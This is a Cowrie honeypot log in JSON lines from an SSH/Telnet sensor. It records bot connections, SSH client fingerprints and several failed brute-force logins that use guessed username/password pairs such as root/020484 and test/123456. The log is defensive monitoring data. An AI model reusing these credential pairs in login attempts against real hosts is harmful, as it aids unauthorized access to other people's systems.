{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:11.717436Z","src_ip":"160.187.174.22","session":"98818abe0d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:12.475394Z","src_ip":"160.187.174.22","session":"98818abe0d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f35ee9fe485","protocol":"telnet","message":"New connection: 170.64.224.25:35834 (159.203.135.109:23) [session: 6f35ee9fe485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:13.108716Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:13.747182Z","src_ip":"160.187.174.22","session":"98818abe0d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.1","message":"Connection lost after 33.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:18.467773Z","src_ip":"172.190.216.105","session":"4ecab593015a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":34910,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd656638d6ff","protocol":"ssh","message":"New connection: 209.99.190.113:34910 (10.17.0.5:22) [session: cd656638d6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:23.667861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:23.672679Z","src_ip":"209.99.190.113","session":"cd656638d6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:23.768255Z","src_ip":"209.99.190.113","session":"cd656638d6ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#$%^","message":"login attempt [test/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:24.185106Z","src_ip":"209.99.190.113","session":"cd656638d6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:25.285630Z","src_ip":"209.99.190.113","session":"cd656638d6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.125346183776855,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:26.806871Z","src_ip":"170.64.224.25","session":"7ad0a648d8ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":56072,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18998ee41ee","protocol":"ssh","message":"New connection: 103.82.20.28:56072 (159.203.135.109:22) [session: a18998ee41ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:35.913641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:35.918092Z","src_ip":"103.82.20.28","session":"a18998ee41ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:36.181700Z","src_ip":"103.82.20.28","session":"a18998ee41ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020484","message":"login attempt [root/020484] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:36.977195Z","src_ip":"103.82.20.28","session":"a18998ee41ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:38.243139Z","src_ip":"103.82.20.28","session":"a18998ee41ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":36942,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd80346a0943","protocol":"ssh","message":"New connection: 160.187.174.22:36942 (159.203.135.109:22) [session: fd80346a0943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:39.673254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:39.677251Z","src_ip":"160.187.174.22","session":"fd80346a0943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:39.920541Z","src_ip":"160.187.174.22","session":"fd80346a0943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:40.652296Z","src_ip":"160.187.174.22","session":"fd80346a0943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:29:41.899818Z","src_ip":"160.187.174.22","session":"fd80346a0943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":58390,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ce36d072fe2","protocol":"ssh","message":"New connection: 67.231.24.5:58390 (159.203.135.109:22) [session: 1ce36d072fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:00.796814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:00.802062Z","src_ip":"67.231.24.5","session":"1ce36d072fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:00.823570Z","src_ip":"67.231.24.5","session":"1ce36d072fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gamefi321","password":"gamefi321","message":"login attempt [gamefi321/gamefi321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:00.917940Z","src_ip":"67.231.24.5","session":"1ce36d072fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:01.958953Z","src_ip":"67.231.24.5","session":"1ce36d072fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34158,"dst_ip":"159.203.135.109","dst_port":22,"session":"de6a29c80b18","protocol":"ssh","message":"New connection: 160.187.174.22:34158 (159.203.135.109:22) [session: de6a29c80b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:08.924037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:08.930027Z","src_ip":"160.187.174.22","session":"de6a29c80b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:09.172499Z","src_ip":"160.187.174.22","session":"de6a29c80b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.110.171","src_port":47484,"dst_ip":"159.203.135.109","dst_port":22,"session":"8927d4ab3087","protocol":"ssh","message":"New connection: 118.26.110.171:47484 (159.203.135.109:22) [session: 8927d4ab3087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:09.206492Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:09.433052Z","src_ip":"118.26.110.171","session":"8927d4ab3087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:09.896773Z","src_ip":"160.187.174.22","session":"de6a29c80b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:11.143481Z","src_ip":"160.187.174.22","session":"de6a29c80b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.43277835845947,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:16.541354Z","src_ip":"170.64.224.25","session":"6f35ee9fe485","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.26.244","src_port":49260,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dd4bbac4933","protocol":"ssh","message":"New connection: 106.75.26.244:49260 (10.17.0.5:22) [session: 3dd4bbac4933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:19.374714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:19.378666Z","src_ip":"106.75.26.244","session":"3dd4bbac4933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54230,"dst_ip":"159.203.135.109","dst_port":23,"session":"149154f91802","protocol":"telnet","message":"New connection: 170.64.224.25:54230 (159.203.135.109:23) [session: 149154f91802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:19.591548Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:19.605685Z","src_ip":"106.75.26.244","session":"3dd4bbac4933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"1234567890","message":"login attempt [docker/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:20.558299Z","src_ip":"106.75.26.244","session":"3dd4bbac4933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:21.788237Z","src_ip":"106.75.26.244","session":"3dd4bbac4933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":45334,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2c5a8c32ce0","protocol":"ssh","message":"New connection: 213.202.230.81:45334 (10.17.0.5:22) [session: e2c5a8c32ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:28.856199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:28.860092Z","src_ip":"213.202.230.81","session":"e2c5a8c32ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:28.954061Z","src_ip":"213.202.230.81","session":"e2c5a8c32ce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P3p3$S3cur3!W0rd","message":"login attempt [root/P3p3$S3cur3!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:29.237034Z","src_ip":"213.202.230.81","session":"e2c5a8c32ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:30.334835Z","src_ip":"213.202.230.81","session":"e2c5a8c32ce0","protocol":"ssh"}
